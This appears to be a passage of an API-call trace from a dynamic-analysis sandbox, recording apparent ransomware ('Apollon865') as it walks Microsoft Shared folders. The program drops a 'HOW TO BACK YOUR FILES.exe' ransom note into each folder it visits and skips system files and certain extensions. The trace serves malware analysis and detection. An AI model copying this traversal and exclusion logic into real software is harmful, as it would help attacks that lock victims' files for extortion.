	[0074.785] lstrlenW (lpString=".ini") returned 4
	[0074.785] lstrcmpiW (lpString1="VBE7.DLL", lpString2=".ini") returned 1
	[0074.785] lstrlenW (lpString=".sys") returned 4
	[0074.785] lstrcmpiW (lpString1="VBE7.DLL", lpString2=".sys") returned 1
	[0074.785] lstrlenW (lpString="VBE7.DLL") returned 8
	[0074.785] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033"
	[0074.785] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0074.785] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0074.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033") returned 60
	[0074.785] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033"
	[0074.785] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.785] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.791] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a773b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.791] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.791] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.791] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.791] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a773b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.791] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.791] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.791] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.791] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.791] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1
	[0074.791] lstrcmpiW (lpString1="FM20.CHM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.791] lstrcmpiW (lpString1="FM20.CHM", lpString2="Apollon865.txt.exe") returned 1
	[0074.791] lstrcmpiW (lpString1="FM20.CHM", lpString2=".") returned 1
	[0074.791] lstrcmpiW (lpString1="FM20.CHM", lpString2="..") returned 1
	[0074.791] lstrcmpiW (lpString1="FM20.CHM", lpString2="windows") returned -1
	[0074.791] lstrcmpiW (lpString1="FM20.CHM", lpString2="bootmgr") returned 1
	[0074.791] lstrcmpiW (lpString1="FM20.CHM", lpString2="temp") returned -1
	[0074.791] lstrcmpiW (lpString1="FM20.CHM", lpString2="pagefile.sys") returned -1
	[0074.792] lstrcmpiW (lpString1="FM20.CHM", lpString2="boot") returned 1
	[0074.792] lstrcmpiW (lpString1="FM20.CHM", lpString2="ids.txt") returned -1
	[0074.792] lstrcmpiW (lpString1="FM20.CHM", lpString2="ntuser.dat") returned -1
	[0074.792] lstrcmpiW (lpString1="FM20.CHM", lpString2="perflogs") returned -1
	[0074.792] lstrcmpiW (lpString1="FM20.CHM", lpString2="MSBuild") returned -1
	[0074.792] lstrlenW (lpString="FM20.CHM") returned 8
	[0074.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*") returned 62
	[0074.792] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="FM20.CHM" | out: lpString1="FM20.CHM") returned="FM20.CHM"
	[0074.792] lstrlenW (lpString="FM20.CHM") returned 8
	[0074.792] lstrlenW (lpString="Apollon865") returned 10
	[0074.792] lstrlenW (lpString=".dll") returned 4
	[0074.792] lstrcmpiW (lpString1="FM20.CHM", lpString2=".dll") returned 1
	[0074.792] lstrlenW (lpString=".lnk") returned 4
	[0074.792] lstrcmpiW (lpString1="FM20.CHM", lpString2=".lnk") returned 1
	[0074.792] lstrlenW (lpString=".ini") returned 4
	[0074.792] lstrcmpiW (lpString1="FM20.CHM", lpString2=".ini") returned 1
	[0074.792] lstrlenW (lpString=".sys") returned 4
	[0074.792] lstrcmpiW (lpString1="FM20.CHM", lpString2=".sys") returned 1
	[0074.792] lstrlenW (lpString="FM20.CHM") returned 8
	[0074.792] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="VBCN6.CHM" | out: lpString1="VBCN6.CHM") returned="VBCN6.CHM"
	[0074.792] lstrlenW (lpString="VBCN6.CHM") returned 9
	[0074.792] lstrlenW (lpString="Apollon865") returned 10
	[0074.792] lstrlenW (lpString=".dll") returned 4
	[0074.792] lstrcmpiW (lpString1="VBCN6.CHM", lpString2=".dll") returned 1
	[0074.792] lstrlenW (lpString=".lnk") returned 4
	[0074.792] lstrcmpiW (lpString1="VBCN6.CHM", lpString2=".lnk") returned 1
	[0074.792] lstrlenW (lpString=".ini") returned 4
	[0074.792] lstrcmpiW (lpString1="VBCN6.CHM", lpString2=".ini") returned 1
	[0074.792] lstrlenW (lpString=".sys") returned 4
	[0074.792] lstrcmpiW (lpString1="VBCN6.CHM", lpString2=".sys") returned 1
	[0074.792] lstrlenW (lpString="VBCN6.CHM") returned 9
	[0074.793] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="VBE7INTL.DLL" | out: lpString1="VBE7INTL.DLL") returned="VBE7INTL.DLL"
	[0074.793] lstrlenW (lpString="VBE7INTL.DLL") returned 12
	[0074.793] lstrlenW (lpString="Apollon865") returned 10
	[0074.793] lstrcmpiW (lpString1="E7INTL.DLL", lpString2="Apollon865") returned 1
	[0074.793] lstrlenW (lpString=".dll") returned 4
	[0074.793] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2=".dll") returned 1
	[0074.793] lstrlenW (lpString=".lnk") returned 4
	[0074.793] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2=".lnk") returned 1
	[0074.793] lstrlenW (lpString=".ini") returned 4
	[0074.793] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2=".ini") returned 1
	[0074.793] lstrlenW (lpString=".sys") returned 4
	[0074.793] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2=".sys") returned 1
	[0074.793] lstrlenW (lpString="VBE7INTL.DLL") returned 12
	[0074.793] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="VBENDF98.CHM" | out: lpString1="VBENDF98.CHM") returned="VBENDF98.CHM"
	[0074.793] lstrlenW (lpString="VBENDF98.CHM") returned 12
	[0074.793] lstrlenW (lpString="Apollon865") returned 10
	[0074.793] lstrcmpiW (lpString1="ENDF98.CHM", lpString2="Apollon865") returned 1
	[0074.793] lstrlenW (lpString=".dll") returned 4
	[0074.793] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2=".dll") returned 1
	[0074.793] lstrlenW (lpString=".lnk") returned 4
	[0074.793] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2=".lnk") returned 1
	[0074.793] lstrlenW (lpString=".ini") returned 4
	[0074.793] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2=".ini") returned 1
	[0074.793] lstrlenW (lpString=".sys") returned 4
	[0074.793] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2=".sys") returned 1
	[0074.793] lstrlenW (lpString="VBENDF98.CHM") returned 12
	[0074.793] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="VBHW6.CHM" | out: lpString1="VBHW6.CHM") returned="VBHW6.CHM"
	[0074.793] lstrlenW (lpString="VBHW6.CHM") returned 9
	[0074.793] lstrlenW (lpString="Apollon865") returned 10
	[0074.793] lstrlenW (lpString=".dll") returned 4
	[0074.794] lstrcmpiW (lpString1="VBHW6.CHM", lpString2=".dll") returned 1
	[0074.794] lstrlenW (lpString=".lnk") returned 4
	[0074.794] lstrcmpiW (lpString1="VBHW6.CHM", lpString2=".lnk") returned 1
	[0074.794] lstrlenW (lpString=".ini") returned 4
	[0074.794] lstrcmpiW (lpString1="VBHW6.CHM", lpString2=".ini") returned 1
	[0074.794] lstrlenW (lpString=".sys") returned 4
	[0074.794] lstrcmpiW (lpString1="VBHW6.CHM", lpString2=".sys") returned 1
	[0074.794] lstrlenW (lpString="VBHW6.CHM") returned 9
	[0074.794] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="VBLR6.CHM" | out: lpString1="VBLR6.CHM") returned="VBLR6.CHM"
	[0074.794] lstrlenW (lpString="VBLR6.CHM") returned 9
	[0074.794] lstrlenW (lpString="Apollon865") returned 10
	[0074.794] lstrlenW (lpString=".dll") returned 4
	[0074.794] lstrcmpiW (lpString1="VBLR6.CHM", lpString2=".dll") returned 1
	[0074.794] lstrlenW (lpString=".lnk") returned 4
	[0074.794] lstrcmpiW (lpString1="VBLR6.CHM", lpString2=".lnk") returned 1
	[0074.794] lstrlenW (lpString=".ini") returned 4
	[0074.794] lstrcmpiW (lpString1="VBLR6.CHM", lpString2=".ini") returned 1
	[0074.794] lstrlenW (lpString=".sys") returned 4
	[0074.794] lstrcmpiW (lpString1="VBLR6.CHM", lpString2=".sys") returned 1
	[0074.794] lstrlenW (lpString="VBLR6.CHM") returned 9
	[0074.794] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="VBOB6.CHM" | out: lpString1="VBOB6.CHM") returned="VBOB6.CHM"
	[0074.794] lstrlenW (lpString="VBOB6.CHM") returned 9
	[0074.794] lstrlenW (lpString="Apollon865") returned 10
	[0074.794] lstrlenW (lpString=".dll") returned 4
	[0074.794] lstrcmpiW (lpString1="VBOB6.CHM", lpString2=".dll") returned 1
	[0074.794] lstrlenW (lpString=".lnk") returned 4
	[0074.794] lstrcmpiW (lpString1="VBOB6.CHM", lpString2=".lnk") returned 1
	[0074.794] lstrlenW (lpString=".ini") returned 4
	[0074.794] lstrcmpiW (lpString1="VBOB6.CHM", lpString2=".ini") returned 1
	[0074.794] lstrlenW (lpString=".sys") returned 4
	[0074.794] lstrcmpiW (lpString1="VBOB6.CHM", lpString2=".sys") returned 1
	[0074.794] lstrlenW (lpString="VBOB6.CHM") returned 9
	[0074.795] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="VBUI6.CHM" | out: lpString1="VBUI6.CHM") returned="VBUI6.CHM"
	[0074.795] lstrlenW (lpString="VBUI6.CHM") returned 9
	[0074.795] lstrlenW (lpString="Apollon865") returned 10
	[0074.795] lstrlenW (lpString=".dll") returned 4
	[0074.795] lstrcmpiW (lpString1="VBUI6.CHM", lpString2=".dll") returned 1
	[0074.795] lstrlenW (lpString=".lnk") returned 4
	[0074.795] lstrcmpiW (lpString1="VBUI6.CHM", lpString2=".lnk") returned 1
	[0074.795] lstrlenW (lpString=".ini") returned 4
	[0074.795] lstrcmpiW (lpString1="VBUI6.CHM", lpString2=".ini") returned 1
	[0074.795] lstrlenW (lpString=".sys") returned 4
	[0074.795] lstrcmpiW (lpString1="VBUI6.CHM", lpString2=".sys") returned 1
	[0074.795] lstrlenW (lpString="VBUI6.CHM") returned 9
	[0074.795] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit"
	[0074.795] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ace0 | out: hHeap=0x580000) returned 1
	[0074.795] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0074.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit") returned 54
	[0074.795] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit"
	[0074.795] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.795] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.800] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a773b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.800] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.800] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.800] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.800] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a773b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.800] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.800] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.800] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.801] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.801] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0074.801] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0074.801] lstrlenW (lpString="en-US") returned 5
	[0074.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*") returned 56
	[0074.801] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0074.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0074.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf4e0
	[0074.801] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc10
	[0074.801] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a773b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.801] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.801] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a773b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0074.801] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0074.801] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd70
	[0074.801] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US"
	[0074.801] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0074.801] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0074.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US") returned 60
	[0074.801] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US"
	[0074.801] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.802] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.806] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a773b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.806] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.806] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.806] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.806] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a773b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.806] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.806] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.806] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.806] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.806] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a773b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.806] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.806] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a773b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44a773b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0074.806] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0074.806] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0074.806] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT"
	[0074.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0074.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0074.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT") returned 55
	[0074.807] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT"
	[0074.807] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.807] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.812] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44a9d510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a9d510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.812] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.812] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.812] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.812] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44a9d510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a9d510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
